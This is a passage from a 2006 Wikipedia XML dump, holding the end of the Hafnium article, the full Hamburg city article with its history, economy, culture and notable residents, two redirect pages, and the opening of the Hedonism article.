Hafnium is found combined in natural [[zirconium]] compounds but it does not exist as a free element in nature. [[Mineral]]s that contain zirconium, such as alvite [(Hf, [[thorium|Th]], [[zirconium|Zr]])[[silicon|Si]][[oxygen|O]]&lt;sub&gt;4&lt;/sub&gt; [[water|H&lt;sub&gt;2&lt;/sub&gt;O]]], [[thortveitite]] and [[zircon]] (ZrSiO&lt;sub&gt;4&lt;/sub&gt;), usually contain between 1 and 5% hafnium. Hafnium and zirconium have nearly identical chemistry, which makes the two difficult to separate. About half of all hafnium metal manufactured is produced by a by-product of zirconium refinement. This is done through reducing [[hafnium(IV) chloride]] with [[magnesium]] or [[sodium]] in the [[Kroll process]].

== Precautions ==
Care needs to be taken when machining hafnium because when it is divided into fine particles, it is [[pyrophoric]] and can ignite spontaneously in air. Compounds that contain this metal are rarely encountered by most people and the pure metal is not normally toxic but all its compounds should be handled as if they are toxic (although there appears to be limited danger to exposed individuals).

==References==
*[http://periodic.lanl.gov/elements/72.html Los Alamos National Laboratory - Hafnium]

== External links ==
*[http://www.webelements.com/webelements/elements/text/Hf/index.html WebElements.com - Hafnium]
{{Commons|Hafnium}}

[[Category:Chemical elements]]
[[Category:Transition metals]]

[[ca:Hafni]]
[[cs:Hafnium]]
[[da:Hafnium]]
[[de:Hafnium]]
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[[es:Hafnio]]
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[[ko:하프늄]]
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[[is:Hafnín]]
[[it:Afnio]]
[[he:הפניום]]
[[ku:Hafniyûm]]
[[lv:Hafnijs]]
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[[lb:Hafnium]]
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[[ja:ハフニウム]]
[[no:Hafnium]]
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[[th:แฮฟเนียม]]
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[[zh:铪]]</text>
    </revision>
  </page>
  <page>
    <title>Hamburg</title>
    <id>13467</id>
    <revision>
      <id>42154874</id>
      <timestamp>2006-03-04T04:31:49Z</timestamp>
      <contributor>
        <username>Lpgeffen</username>
        <id>693745</id>
      </contributor>
      <minor />
      <comment>/* Music */</comment>
      <text xml:space="preserve">:''This article is about the city in Germany. For other articles named Hamburg, see [[Hamburg (disambiguation)]].''

{| border=&quot;0&quot; cellpadding=&quot;2&quot; cellspacing=&quot;1&quot; style=&quot;float:right; empty-cells:show; margin-right:0em; margin-left:2em; margin-bottom:0.5em; background:#FFDEAD;&quot;
|+&lt;font size=&quot;+1&quot;&gt;'''Free and Hanseatic City of Hamburg'''&lt;/font&gt;&lt;br /&gt;
! colspan=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot; | Flag
|-bgcolor=&quot;#FFFFFF&quot;
| colspan=&quot;2&quot; align=&quot;center&quot; bgcolor=&quot;#EFEFEF&quot; |[[Image:Flag of Hamburg.svg|200px|Flag of Hamburg]]&lt;br /&gt;
|- bgcolor=&quot;#FFDEAD&quot;
! Coat of arms !! Map of Hamburg in Germany 
|-bgcolor=&quot;#FFFFFF&quot;
! align=&quot;center&quot; | [[Image:Coat of arms of Hamburg.svg|center|100px|Coat of Arms of Hamburg]] || [[Image:Germany Laender Hamburg.png|center|140px|Map of Hamburg in Germany]]
|-
!colspan=&quot;2&quot; bgcolor=&quot;#ffdead&quot; | Basic Information
|-bgcolor=&quot;#FFFFFF&quot;
|[[Area]]: || 755.16&amp;nbsp;[[kilometer|km]]²
|-bgcolor=&quot;#FFFFFF&quot;
|[[Population]]: || 1,738,483 [http://www.statistik-nord.de source] (2005)
|-bgcolor=&quot;#FFFFFF&quot;
|[[Population density]]: || 2,302 residents/km²
|-bgcolor=&quot;#FFFFFF&quot;
|[[Elevation]]: || 3 m above [[sea level]]
|-bgcolor=&quot;#FFFFFF&quot;
|[[Postal code]]s: || 20001–20999,&lt;br /&gt;21001–21149,&lt;br /&gt;22001–22609
|-bgcolor=&quot;#FFFFFF&quot;
|[[Area code]]: || 040
|-bgcolor=&quot;#FFFFFF&quot;
|td valign=&quot;top&quot; | [[Latitude]] and [[Longitude]]: || {{coor dm|53|33|N|10|0|E|type:city(1,738,483)}}
|-bgcolor=&quot;#FFFFFF&quot;
|[[License plate]] prefix: || HH
|-bgcolor=&quot;#FFFFFF&quot;
|[[ISO 3166-2:DE|ISO 3166-2]]: || DE-HH
|-bgcolor=&quot;#FFFFFF&quot;
|Website: || [http://www.hamburg.de/ www.hamburg.de]
|-bgcolor=&quot;#FFFFFF&quot;
|[[Mayor]]: || [[Ole von Beust]] ([[Christian Democratic Union (Germany)|CDU]])
|}

[[Image:Hamburg-alster-dusk.jpg|thumb|300px|right|Alster Lake at dusk]]

'''Hamburg''' is the second largest city in [[Germany]] and with the [[Hamburg Harbour]], its principal port. Hamburg is also the second largest port city in the [[European Union]].

The official name ''Free and Hanseatic City of Hamburg'' ([[German language|German]] ''Freie und Hansestadt Hamburg'') refers to Hamburg's membership in the [[mediæval]] [[Hanseatic League]] and the fact that Hamburg is a [[City State]] and one of the sixteen [[States of Germany|Federal States of Germany]].

Hamburg is situated on the southern tip of [[Jutland Peninsula]], geographically centered a) between [[Continental Europe]] and [[Scandinavia]] and b) between [[North Sea]] and [[Baltic Sea]]. The city of Hamburg lies at the junction of the river [[Elbe]] with the rivers [[Alster]] and [[Bille]] and the city center is beautifully set around Lake [[Binnenalster]] and Lake [[Außenalster]].

Hamburg is an international trade city and the commercial and cultural center of Northern Germany. Hamburg is famous for its sophisticated music scene.




==Politics and Administration==

The ''Bürgerschaft'' (City Assembly) is the parliament of the Free and Hanseatic City of Hamburg, which is elected by the citizens of Hamburg every four years. 

The ''Erster Bürgermeister'' (''First Mayor'') is head of the senate (which forms the government) and gets elected by the city assembly and is thus head of the city state. The current mayor is [[Ole von Beust]] (see also [[List of mayors of Hamburg]]).

[[Image:Hamburgrathaus.jpg|thumb|right|200px|Hamburg Rathaus (Town Hall)]]

The state and administrative city cover 750 km² with 1.8 million inhabitants, while another 0.8 million live in neighboring urban areas. The Greater [[Hamburg Metropolitan Region]] (''Metropolregion Hamburg'') includes some districts in the adjacent federal states of [[Schleswig-Holstein]] and [[Lower Saxony]] and covers an area of 18,100 km² with a population of just over 4 million.

Hamburg is organized into seven boroughs (Bezirke) comprising 104 quarters (Stadtteile):

*[[Altona, Hamburg|Altona]]
*[[Bergedorf]]
*[[Eimsbüttel]]
*[[Hamburg-Harburg|Harburg]]
*[[Hamburg-Mitte|Mitte]]
*[[Hamburg-Nord|Nord]]
*[[Wandsbek]]

Three small islands in the [[North Sea]] also belong to the City State of Hamburg: [[Neuwerk]], [[Scharhörn]] and [[Nigehörn]].

== History ==

The city takes its name from the first permanent building on the site, a fort ordered to be built by [[Emperor]] [[Charlemagne]] in [[808]] AD. The fort was built on some rocky ground in a marsh between the [[Alster]] and the [[Elbe]] as a defence against Slavic incursion. The fort was named ''Hamma Burg'', where &quot;burg&quot; means &quot;fort.&quot;

The &quot;Hamma&quot; element remains uncertain. [[Old High German]] includes both a hamma, &quot;angle&quot; and a hamme, &quot;pastureland.&quot; The angle might refer to a spit of land or to the curvature of a river. However, the language spoken might not have been Old High German, as Plattdüütsch was spoken there later. Other theories are that the fort was named for a surrounding Hamma forest, or for the village of Hamm, later incorporated into the city. Hamm as a place name occurs a number of times in Germany, but its meaning is equally uncertain. It could be related to &quot;heim&quot; and Hamburg could have been placed in the territory of the ancient [[Chamavi]]. However, a derivation of &quot;home city&quot; is perhaps too direct, as the city was named after the castle.

In 834 Hamburg was designated the seat of a [[bishopric]], whose first bishop, Ansgar, became known as the [[Apostle]] of the North. In 845 a fleet of 600 Viking ships came up the River Elbe and destroyed Hamburg, at that time a town of around 500 inhabitants. 
Two years later, Hamburg was united with [[Bremen]] as the bishopric of Hamburg-Bremen. 

In 1030 the city was burned down by King Mieszko II of [[Poland]]. After further raids in 1066 and 1072 the bishop permanently moved to Bremen.

The charter in [[1189]] by [[Frederick I, Holy Roman Emperor|Frederick I &quot;Barbarossa&quot;]] granted Hamburg the status of an [[Imperial Free City]] and tax free access up the Lower [[Elbe]] into the [[North Sea]]. This and Hamburg's proximity to the main trade routes of the [[North Sea]] and [[Baltic Sea]] quickly made it a major port in [[Northern Europe]]. Its trade alliance with [[Lübeck]] in [[1241]] marks the origin and core of the powerful [[Hanseatic League]] of trading cities. 


In [[1520]] the city embraced [[Lutheranism]], and Hamburg subsequently received Protestant refugees from the [[Netherlands]] and [[France]]. Hamburg was at times under [[Denmark|Danish]] sovereignty while remaining part of the [[Holy Roman Empire]] as an Imperial Free City.

Briefly annexed by [[Napoleon I]] (1810-14), Hamburg suffered severely during his last campaign in Germany. The city was besieged for over a year by Allied forces (mostly Russian, Swedish and German). Russian forces under [[Levin August, count von Bennigsen|General Bennigsen]] finally freed the city in 1814. During the first half of the 19th century a patron goddess with Hamburg's Latin name ''Hammonia'' emerged, mostly in romantic and poetic references, and although she has no mythology to call her own, [[Hammonia]] became the symbol of the city's spirit during this time. Hamburg had several great fires, notably in 1284 and 1842. 

Hamburg experienced its fastest growth during the second half of the 19th century, when its population more than quadrupled to 800,000 as the growth of the city's Atlantic trade helped make it Europe's third-largest port. 

[[Image:hamburg old.jpg|thumb|right|300px|Hamburg's central promenade Jungfernstieg on Lake Alster in 1900]]

In 1900 [[Hamburg-America Lines]] was the World's largest [[transatlantic]] shipping company, and Hamburg was also home to shipping companies to [[South America]], [[Africa]], [[India]] and [[East Asia]]. Hamburg became a cosmopolitan metropolis based on worldwide trade. Hamburg was the port for most Germans and Eastern Europeans to leave for the [[New World]] and became home to trading communities from all over the world (like a small [[Chinatown]] in [[Altona]]). 

After [[World War I]] Germany lost her [[German colonies|colonies]] and Hamburg lost many of its trade routes. In [[1937]] the city boundaries were extended with the ''Groß-Hamburg-Gesetz'' (Greater Hamburg Act) to incorporate [[Wandsbek]], [[Hamburg-Harburg|Harburg]], Wilhelmsburg and [[Altona, Hamburg|Altona]]. The city counts 1.7 million inhabitants.

During [[World War II]] Hamburg suffered a series of devastating air raids which killed 42,000 German civilians ([[Bombing of Hamburg in World War II]]). Through this, and the  new zoning guidelines of the [[1960s]], the inner city lost much of its architectural past. 

The [[Iron Curtain]] - only 50 kilometers east of Hamburg - separated the city from most of its hinterland and further reduced Hamburg's global trade. On February 16, 1962 a severe storm caused the Elbe to rise to an all-time high, drowning one fifth of Hamburg and killing more than 300 people.

After [[German reunification]] in 1990, and the accession of some Eastern European and Baltic States into the [[EU]] in 2004, [[Hamburg Harbour]] and Hamburg have ambitions for regaining their positions as the region's largest deep-sea port for container shipping and its major commercial and trading center. [http://www.wachsende-stadt.hamburg.de/int-grafikversion/ Hamburg 2020]

== Sister Cities ==
* [[Image:Flag of the United States.svg|25px]] [[Chicago, Illinois|Chicago]], [[Illinois]], [[USA]], since [[1994]]

* [[Image:Flag of Germany.svg|25px]] [[Dresden]], [[Germany]], since [[1987]]

* [[Image:Flag of Nicaragua.svg|25px]] [[León, Nicaragua|León]], [[Nicaragua]], since [[1989]]

* [[Image:Flag of France.svg|25px]] [[Marseille]], [[France]], since [[1958]]

* [[Image:Flag of Japan.svg|25px]] [[Osaka|Ōsaka]], [[Japan]], since [[1989]]
* [[Image:Flag of the Czech Republic.svg|25px]] [[Prague]], [[Czech Republic]], since [[1990]]
* [[Image:Flag of the People's Republic of China.svg|25px]] [[Shanghai]], [[People's Republic of China]], since [[1986]]
* [[Image:Flag of Russia.svg|25px]] [[St. Petersburg]], [[Russia]], since [[1957]]

== Economy ==

[[image:Landungsbrücken, Hamburg.JPG|thumb|300px|right|Landungsbrücken (''&quot;the Jetties&quot;''), in [[St. Pauli]] district]]


The most significant economic basis for Hamburg in the past centuries has been (and still is) its harbour (see: [[Hamburg Harbour]]), which ranks 2&lt;sup&gt;nd&lt;/sup&gt; in Europe and 9&lt;sup&gt;th&lt;/sup&gt; worldwide with transshipments of 7 million standard container units ([[TEU]]) and 115 million tonnes of goods in 2004. International trade is also the reason for the large number of [[Consulate general|consulates]] in the city. Although situated several kilometers upwards the Elbe, due to its ability to handle sea ships it is considered a sea harbour.

[[image:Hamburg Shomat.JPG|thumb|left||300px|Hamburg near the dock]]


Other important industries are the aerospace company [[Airbus]], which has one of its two assembly plants located there, and media businesses, most notably three of Germany's largest publishing companies, Axel Springer Verlag [http://www.axelspringer.de/], Gruner + Jahr [http://www.guj.de/] and Heinrich Bauer Verlag [http://www.hbv.de/]. About half of Germany's national newspapers and magazines are produced in Hamburg. There are also a number of music companies (the largest being [[Warner Music]] Germany) and Internet businesses (e.g. [[AOL]] and [[Google]] Germany). Heavy industry includes a steel, an aluminium and Europe's largest copper plant [http://www.na-ag.com/], and a number of shipyards like Blohm + Voss [http://www.blohmvoss.de/]. Research [[DESY]] - ''D''eutsches ''E''lektronen ''SY''nchrotron, the German Electron Synchrotron

==Transport==

Hamburg is connected by four [[Autobahn|Autobahnen]] (motorways) and is the most important railway junction on the route to Northern Europe. Hamburg's international airport is [[Hamburg Airport]], which is the oldest airport in Germany still in operation.

Though large cities in Germany normally only have a one letter prefix (e.g. B for Berlin), Hamburg's vehicle [[Licence plates in Germany|licence plate]] prefix  is &quot;HH&quot; (Hansestadt Hamburg, English: Hanseatic City Hamburg), which underlines Hamburg's historic roots and allows the city of [[Hannover]] to use the prefix &quot;H&quot;.

Like in most larger German cities, the local public transport is organised by a ''Verkehrsverbund'', basically a joint venture of all public transport companies servicing the area. In and around Hamburg, it's the ''HVV'' ([[Hamburger Verkehrsverbund]]). Tickets sold by one HVV company are accepted by all other HVV companies.

Nine light rail routes across the city are the backbone of Hamburg public transport. Three lines comprise the [[Hamburg U-Bahn|U-Bahn]] and six the [[Hamburg S-Bahn|S-Bahn]] system. U-Bahn, short for Untergrundbahn (underground, subway), is a standard German term for a municipally owned electric light rail system. The lesser part of the Hamburg U-Bahn operates through underground tunnels. Most of the U-Bahn tracks are on embankments or viaducts; older residents still speak of the system as the ''Hochbahn'' (&quot;elevated railway&quot;). A third light rail system, the AKN connects to satellite towns in Schleswig-Holstein state. Gaps in the light rail network are filled by bus routes, plied by single-deck, two- and three-axle diesel buses. Hamburg has no trams or trolley-buses, but is experimenting in using hydrogen fuelled busses.

Finally, regional trains of Germany's major railway company [http://bahn.de Deutsche Bahn AG] and the regional ''Metronom'' trains may be used with a HVV public transport ticket, too. Except at the three bigger stations in the center of Hamburg, the regional trains hardly stop again inside the area of the city.

A day and night bus network operates as frequently as 2 minutes at important places to 30 minutes in suburban areas. There are five ferry lines along the river [[Elbe]], operated by the ''HADAG''. While mainly needed by Hamburg citizens and dock workers they can also be used for sightseeing tours at the (relatively) low fees of a HVV public transport ticket.



== Buildings ==

===Bridges and Tunnels===

Hamburg has a number of prominent buildings from the past and present. [[Speicherstadt]], 

The many canals in Hamburg are crossed by over 2300 bridges &amp;mdash; more than [[Amsterdam]] (1200) and [[Venice]] (400) combined.

*[[Köhlbrandbrücke]]
*[[Old Elbe Tunnel]] (''Alter Elbtunnel'')
*[[New Elbe Tunnel]] (''Elbtunnel'')

=== Churches ===
The skyline of Hamburg features the high spires of the five main churches ('Hauptkirchen') covered with green copper plates.
*[[St. Michaelis (Hamburg)|St. Michaelis church]] ('Michel')
*[[St. Nikolai (Hamburg)|St. Nikolai church]] (memorial)
*[[St. Petri (Hamburg)|St. Petri church]] (11th century)
*[[St. Jakobi (Hamburg)|St. Jakobi church]] (13th century)
*[[St. Katharinen (Hamburg)|St. Katharinen church]] (14th century)

===Towers and masts===
*[[Heinrich-Hertz-Turm]]
*[[Transmitter Hamburg-Billstedt]]

== Culture ==

=== Theaters ===
*[[Schauspielhaus]]
*[[Ernst-Deutsch-Theater]]
*[[St. Pauli Theater]]
*[[Hamburger Kammerspiele]]
*[[Thalia Theater]]
*[[Ohnsorg-Theater]] - a theatre in which the actors speak [[Low German]]

=== Dance clubs ===
*Angie's Nightclub (Soul/Jazz/Livebands) [http://tivoli.de/index.php?id=198 website]
*Change (Gay)(Electronica) [http://www.change-hamburg.de/ website]
*China Lounge (House) [http://www.china-lounge.de/ website]
*Docks (Trance/Latin/RnB/Mixed) [http://www.docks.de/ website]
*Cult Club  (70s, 80s, Classics) [http://www.cult-hh.de/ website]
*Echochamber (Reggae/Dancehall/Electro) [http://www.echochamber.info/ website] (CLOSED)
*Funky Pussy Club (HipHop/R&amp;B) [http://www.locationsite.de/hamburg/funkypussy.htm Info]
*Große Freiheit 36 (Mixed) [http://www.grossefreiheit36.de/ website]
*Grünspan (Mixed/Livebands) [http://www.gruenspan.de  website]
*Kaiserkeller (in the basement of Große Freiheit 36)
*Kir (Alternative/Mixed/Wednesday=Gay) [http://www.kir-hamburg.de/ website]
*Lounge (House/Soul/Latin/Lounge) [http://www.locationsite.de/hamburg/lounge.htm Info]
*Molotow (Livemusic/Clubnights/Rock) [http://www.molotowclub.com/index.htm website]
*Pit (Gay)(Electronica)(Bondar) [http://www.pit-male.de/ website]
*Pacha (House) [http://www.pacha-hh.de  website]
*Rutsche (Dancehall/Techno/Pop/Rock)
*Superfly (House/HipHop/Mixed) [http://www.super-fly-club.de/ website]
*Tanzhalle (DJs/Liveacts) [http://www.tanzhalle-st-pauli.de/ website]
*Thomas Read (House/Pop/R&amp;B) [http://www.thomasread.de  website]
*Waagenbau  (Electronica/Techno/HipHop) [http://www.waagenbau.com/ website]

=== Music ===
Classical: 
*Famous [[organ (music)|organ]] built by [[Arp Schnitger]] (1648-1719)
*[[North German Radio Symphony Orchestra]]
Famous Composers: 
*[[Georg Philipp Telemann]] (1681-1767) died in Hamburg.
*[[Carl Philipp Emmanuel Bach]] (1714-1788, a son of [[Johann Sebastian Bach]]) died in Hamburg.
*[[Felix Mendelssohn]] (1809-1847) was born in Hamburg.
*[[Johannes Brahms]] (1833-1897) was born in Hamburg.

Contemporary:
Hamburg is known for giving [[the Beatles]] a start in their musical career in the early 1960s. They played at the [[Star Club]], which was located in the district [[St. Pauli]] near the perhaps most famous street of Hamburg, the [[Reeperbahn]].

More recently it is known for some of the most popular German [[hip-hop]] acts, such as [[5 Sterne Deluxe]], [[Samy Deluxe]], [[Beginner]] and [[Fettes Brot]]. There is also a quite big [[Alternative rock|alternative]] and [[punk rock|punk]] scene which gathers around the Rote Flora, an occupied villa located in the district of Sternschanze. Some of the musicians of the famous electronic band [[Kraftwerk]] also came from Hamburg.

Hamburg is also famous for an original kind of German [[alternative music]] called [[Hamburger Schule]] (&quot;School of Hamburg&quot;), a term used for bands like [[Die Sterne]], [[Tocotronic]], [[Blumfeld]] and [[Tomte (band)|Tomte]].

Hamburg was one of the major centers of the [[heavy metal music]] world in the 1980's. Many bands such as [[Helloween]], [[Running Wild (band)|Running Wild]] and [[Grave Digger (band)|Grave Digger]] got their start in Hamburg. The influences of these bands and other bands from the area were critical to establishing the subgenre of [[Power metal]].

[[Image:Lion_King_Hamburg.jpg|thumb|''The Lion King'' theatre in Hamburg's harbour]]
Since the German premiere of ''[[Cats (musical)|Cats]]'' in [[1985]] there are always a number of [[musical]]s being played in the city. Among them have been ''[[Phantom of the Opera]]'', ''[[The Lion King#Musical|The Lion King]]'' or ''[[Dance of the Vampires]]''. This density, which is the highest in Germany, is partly due to Germany's major musical production company ''Stage Entertainment'' being located in Hamburg. One of the musical theatres is a large tent in the harbour, guests either arrive by boat or through the historic [[Old Elbe Tunnel]].

=== Museums ===
Museums in Hamburg include:
*Altona Museum and North German State Museum [http://www.altonaer-museum.de/de/]
*Art Gallery ([[Kunsthalle Hamburg]]) [http://www.hamburger-kunsthalle.de/]
*Brahmsmuseum
*Bucerius Kunst Forum [http://www.buceriuskunstforum.de/]
*Hamburg Museum for Archaeology and the History of [[Harburg]]
*[[Neuengamme]] [[concentration camp]] memorial [http://www.hamburg.de/Neuengamme/welcome.en.html]
*Speicherstadt Museum [http://www.speicherstadtmuseum.de/]
*Museum of Labour [http://www.museum-der-arbeit.de/]
*Museum für Völkerkunde [http://www.voelkerkundemuseum.com/]

=== Local Cuisine and Drinks ===
Although Hamburg is jokingly said to be the birthplace of the [[Hamburger]], this is just a myth. The hamburger was named after Hamburg. Original Hamburg dishes are &quot;Birnen, Bohnen und Speck&quot; (green runner beans cooked with pears and bacon), &quot;Aalsuppe&quot; (Often mistaken to be German for &quot;eel soup&quot; (aal = eel), however the name probably comes from the Low Saxon &quot;aalens&quot;, meaning &quot;all&quot; - anything could be in it, but not necessarily eel. Today eel is often included to meet the expectations of unsuspecting diners.), &quot;Bratkartoffeln&quot; (fried potatoes), &quot;Finkenwerder Scholle&quot; (fried plaice), Pannfisch (fried fish), Rote Grütze (something similar to summer pudding consisting mainly of red berries) and &quot;Labskaus&quot; (a strange looking combination of corned beef, mashed potatoes and beet root &amp;ndash; with a name oddly similar to [[Liverpool]]'s [[lobscouse]]).  Hamburg is the birthplace of the &quot;Alsterwasser&quot;, a reference to the Alster lakes in Hamburg, which is beer [[shandy]], a mixture of equal parts of [[beer]] and carbonated lemonade (Zitronenlimonade), wherein the lemonade is added to the beer.

=== Local Dialects ===

German and a regional dialect called [[Missingsch]] which is influenced by [[Low German]], which is rarely spoken now but can be still heard from harbour labourers.

==Tourism==

Hamburg is best visited in spring or summer. A typical Hamburg visit includes a tour of the city hall and the grand church [[St. Michaelis (Hamburg)|St. Michaelis]] (called the ''Michel''), and visiting the old warehouse district (''Speicherstadt'') and the harbour promenade (''Landungsbrücken''). Sightseeing busses connect these points of interest. Of course, a visit in one of the world's largest harbours would definitely be incomplete without having taken one of the harbour and/or canal boat tours (''Große Hafenrundfahrt'', ''Fleetfahrt'') which start from the Landungsbrücken. Many visitors take a walk in the evening around the area of [[Reeperbahn]], considered Europe's second largest red light district and home of many theatres, bars and night clubs.

However, as already indicated, most people visit Hamburg because of a specific interest, notably one of the musicals, a sports event or an exhibition.

===Statistics===
The described type of tourism leaves clear tracks in the statistics: In [[2004]], each visitor spent an average of two nights. The majority of visitors comes from Germany (80%), most foreigners are European, especially from the [[United Kingdom]] and [[Switzerland]], and the largest group from outside Europe comes from the [[USA]].

''Medical tourism'' became an issue in [[2004]] because of the number of rich Arabic patients seeking medical treatment in one of Hamburg's hospitals; accordingly, the number of visitors from the [[Persian Gulf]] states grew by nearly 30% compared to [[2003]].
A lot more visitors also came from East Asia ([[Republic of China|Taiwan]], [[People's Republic of China|China]]) and especially the [[Baltic states]].

===Regular events===

For the interested visitor, some events held every year:

* Sports (Note that a registration, usually months in advance, is needed for public races.)
** Hamburg Marathon [http://www.marathon-hamburg.de/] - [[marathon (sport)|marathon]], open to the public: April
** Tennis Masters Series: May
** [[Dragon boat race]], open to the public (if you have a dragon boat...): August
** HEW Cyclassics [http://www.hew-cyclassics.de/] - bike race, open to the public: August
** Hamburg City Man Triathlon [http://www.hamburgcityman.de/] - [[triathlon]], open to the public: August

* Film festivals
** Filmfest Hamburg [http://www.filmfesthamburg.de/]: September
** Fantasy Filmfest [http://www.fantasyfilmfest.com/]: April
** Kurzfilmfestival - International Short Film Festival [http://www.shortfilm.com/]: June
** Lateinamerika-Filmtage - Latin-America Days [http://www.cinelatino.de/]: December
** Spanische Filmtage - Spanish Days [http://www.cinelatino.de/]: July 
** Lesbian &amp; Gay Film Festival Hamburg [http://hamburg.gay-web.de/filmtage/]: October

* Arts &amp; Exhibitions
** International Fireworks Festival: August
** Kirschblütenfest - Grand fireworks and Japanese culture: May
** Lange Nacht der Museen - one ticket, 40  of Hamburg's museums open until midnight: May
** Theme nights (jungle, romantic, Asian) at Hagenbeck's zoo [http://www.hagenbeck.de/]: Saturdays in summer

* Music
** Fleetinselfest - Music and international artists open air [http://www.bwp-events.de/eigene/fleetinsel_main.html]: July
** G-Move - [[Techno music|Techno]] parade: June
** Schlagermove - German 1970's music parade [http://www.schlagermove.de/]: July

* Fun / Street Festivals
** Alstervergnügen [http://www.alstervergnuegen-hamburg.de/] - Alster fair: August
** [[Christopher Street Day]] (Gay Pride Parade) [http://www.hamburg-pride.de/]: June
** Hamburger Dom - considered the biggest seasonal theme park in northern Germany: three times a year
** Hafengeburtstag [http://www.hamburger-hafengeburtstag.de/]- Hamburg's harbour birthday: May
** Motorradgottesdienst - Biker's divine service in Hamburg's largest church St. Michaelis: June

==Notable Hamburgians==

==== Actors, actresses, and filmmakers ====
*[[Gustaf Gründgens]]
*[[Hans Albers]]
*[[Andreas Schnaas]]
*[[Heidi Kabel]]
*[[Horst Jansson]]
*[[Uwe Friedrichsen]]
*[[Fatih Akın]]

==== Architects and Designers ====
*[[Fritz Höger]]
*[[Karl Lagerfeld]]
*[[Jil Sander]]
*[[Fritz Schumacher]]

==== Musicians and Composers ====
*[[Georg Philipp Telemann]] (1681 - 1767)
*[[Carl Philip Emanuel Bach]] (1714 - 1788), a son of [[Johann Sebastian Bach]]
*[[Johannes Brahms]] (1833 - 1897)
*[[Felix Mendelssohn Bartholdy]] (1809 - 1947)

==== Poets and Writers ====
*[[Wolfgang Borchert]]
*[[Barthold Heinrich Brockes]]
*[[Helmut Heißenbüttel]]
*[[Brigitte Kronauer]]
*[[Gotthold Ephraim Lessing]]
*[[Peter Rühmkorf]]
*[[James H. Schmitz]]
*[[Peter von Zahn]]

==== Politicians ====
*[[August Bebel]]
*[[Ernst Thälmann]]
*[[Helmut Schmidt]], former [[Chancellor of Germany]]
*Lord [[Ralf Dahrendorf]]
*[[Klaus von Dohnanyi]], former mayor and federal minister
*[[Angela Merkel]], current Chancellor of Germany.

==== Scientists ====
*[[Johann Bernhard Basedow]] (1723 - 1790), educational reformer
*[[Heinrich Rudolf Hertz]] (February 22, 1857 - January 1, 1894), famous physicist for whom the unit [[Hertz]] is named, first to demonstrate the existence of radio waves.

=== Sportsmen ===

*[[Uwe Seeler]]
*[[Andreas Brehme]]
*[[Stefan Effenberg]]
*[[Tommy Haas]]
*[[Ricki Osterthun]]
*[[Michael Stich]]
*[[Michael Westphal]]

==External links==
{{Commons|Category:Hamburg, Germany}}
* [http://www.wachsende-stadt.hamburg.de/int-grafikversion/ Hamburg 2020]
* [http://international.hamburg.de/?ba=english Official Hamburg website] - In many languages
* [http://www.hafencity.com/ Hafen City]
* [http://dmoz.org/Regional/Europe/Germany/States/Hamburg/ Hamburg category of the Open Directory Project DMOZ]

{{Germany_states}}

[[Category:States of Germany]]
[[Category:German state capitals]]
[[Category:Hamburg|*]]
[[Category:Cities in Germany]]
[[Category:Port cities]]
[[Category:Hanseatic League|Hamburg]]

[[af:Hamburg]]
[[als:Hamburg]]
[[ar:هامبورغ]]
[[bg:Хамбург]]
[[bs:Hamburg]]
[[ca:Estat d'Hamburg]]
[[cs:Hamburk]]
[[da:Hamborg]]
[[de:Hamburg]]
[[et:Hamburg]]
[[es:Hamburgo]]
[[eo:Hamburgo]]
[[fa:هامبورگ (آلمان)]]
[[fr:Hambourg]]
[[ko:함부르크]]
[[id:Hamburg]]
[[it:Amburgo]]
[[he:המבורג]]
[[ka:ჰამბურგი (მხარე)]]
[[ku:Hamburg]]
[[la:Hamburgum]]
[[lv:Hamburga]]
[[hu:Hamburg (tartomány)]]
[[nl:Hamburg]]
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[[sv:Hamburg]]
[[tr:Hamburg]]
[[zh:汉堡市]]

[[Category:Former countries in Europe]]</text>
    </revision>
  </page>
  <page>
    <title>Hessen</title>
    <id>13468</id>
    <revision>
      <id>15911075</id>
      <timestamp>2004-04-01T08:56:28Z</timestamp>
      <contributor>
        <username>Ahoerstemeier</username>
        <id>7580</id>
      </contributor>
      <minor />
      <comment>rv - Hesse is the ENGLISH name, and don't move articles by copy-and-paste</comment>
      <text xml:space="preserve">#REDIRECT [[Hesse]]</text>
    </revision>
  </page>
  <page>
    <title>Hannover</title>
    <id>13469</id>
    <revision>
      <id>15911076</id>
      <timestamp>2003-03-22T17:03:23Z</timestamp>
      <contributor>
        <username>Scipius</username>
        <id>488</id>
      </contributor>
      <minor />
      <comment>fix redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Hanover]]</text>
    </revision>
  </page>
  <page>
    <title>Hedonism</title>
    <id>13470</id>
    <revision>
      <id>41877879</id>
      <timestamp>2006-03-02T08:29:21Z</timestamp>
      <contributor>
        <username>Kjr0024</username>
        <id>1016380</id>
      </contributor>
      <text xml:space="preserve">{{expert}}
'''Hedonism''' ([[Greek language|Greek]]: h&amp;#275;don&amp;#275; &quot;pleasure&quot; + [[&amp;#8211;ism]]) describes any way of thinking that gives [[pleasure]] a central role.  Hedonism can be generally summed up as &quot;pleasure is the highest good&quot; or — in an ethical formulation — &quot;whatever causes pleasure is right.&quot; Furthermore, Hedonism can be defined as the doctrine holding that behavior is motivated by the desire for pleasure and the avoidance of pain.

The hedonistic view focuses on increasing ''pleasure'' and reducing ''pain''. Note that while the terms were originally employed literally, this is no longer the case. There seems to be no common ground on what actually constitutes pleasurable or painful activities. The hedonistic [[philosophy]] does not always have a [[human sexuality|sexual]] or [[liberalism|liberal]] connotation.

==Basic concepts==
The basic idea behind hedonistic thought is that all actions can be measured on the basis of how much ''pleasure'' and how little ''pain'' they produce. In very simple terms, a hedonist thrives towards maximising this 'ratio' (pleasure over pain). [[John Stuart Mill]] and [[Jeremy Bentham]] established the foundation principles of hedonism through their ethical theory of [[Utilitarianism]]. Utilitarian value stands as a precursor to hedonistic values in that all action should be directed toward achieving the greatest amount of happiness for the greatest amount of people. Though consistent in their pursuit of happiness, Bentham and Mill’s hedonistic values are faintly divergent in relation to their exposition of the principle of utility. There are two basic schools of thought on hedonism:

* One school, grouped around [[Jeremy Bentham]], argues a quantitative approach.  Bentham believed that the value of a pleasure could be quantitavely understood.  Essentially, he believed value of a pleasure to be intensity of pleasure multiplied by duration.  So it was not just the number of pleasures, but the intensity and how long it lasted that would be taken into account.
